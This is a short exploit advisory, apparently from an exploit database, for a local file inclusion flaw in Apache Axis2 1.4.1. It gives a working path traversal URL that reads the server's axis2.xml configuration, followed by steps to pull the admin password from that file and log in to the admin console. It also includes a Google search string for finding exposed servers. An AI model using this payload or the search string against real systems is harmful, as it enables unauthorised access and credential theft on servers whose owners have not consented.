Apache Axis2 version 1.4.1 suffers from a local file inclusion vulnerability.
2756e6a4e4489d2121d9c1c9d50481e7a1fe2dec94ce93563e0aa5d871c342ba
# Exploit Title: Apache Axis2(1.4.1) Local File Inclusion Vulnerability
# Date: 2010/5/24
# Author: HC
# Software Link: http://ws.apache.org/axis2/download/1_4_1/download.cgi
# Version: Axis2 1.4.1
# Tested on: Linux
# category: Webapps
# Code :
1.http://Domain Name/axis2/services/xxxxxxx?xsd=../conf/axis2.xml
(ex: http://Domain Name/axis2/services/Version?xsd=../conf/axis2.xml)
2. search keyword "password". (Get username and password)
3. Login http://Domain Name/axis2/axis2-admin/
google: inurl:"axis2/services" "list Services"